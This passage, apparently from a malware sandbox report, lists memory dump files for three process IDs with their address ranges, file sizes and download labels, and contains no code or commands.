                                                                                                                                                                                                                                                            • memory/4304-164-0x00007FF9AEFE0000-0x00007FF9AEFED000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              52KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/4304-167-0x00007FF9A0C30000-0x00007FF9A0CE3000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              716KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/4304-165-0x00007FF9A0FB0000-0x00007FF9A0FDB000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              172KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/4304-160-0x00007FF9B40E0000-0x00007FF9B4107000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              156KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/4304-159-0x000001E5091C0000-0x000001E5096F3000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              5.2MB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/4304-156-0x00007FF9A0540000-0x00007FF9A0BA3000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.4MB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/4304-157-0x00007FF9A0CF0000-0x00007FF9A0DBE000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              824KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5168-280-0x0000021FD5860000-0x0000021FD5861000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5168-282-0x0000021FD5860000-0x0000021FD5861000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5168-281-0x0000021FD5860000-0x0000021FD5861000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5168-294-0x0000021FD5860000-0x0000021FD5861000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5168-293-0x0000021FD5860000-0x0000021FD5861000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5168-292-0x0000021FD5860000-0x0000021FD5861000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5168-290-0x0000021FD5860000-0x0000021FD5861000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5168-289-0x0000021FD5860000-0x0000021FD5861000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5168-288-0x0000021FD5860000-0x0000021FD5861000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5168-291-0x0000021FD5860000-0x0000021FD5861000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                            • memory/5956-307-0x00000246CB980000-0x00000246CB988000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              32KB

                                                                                                                                                                                                                                                              Download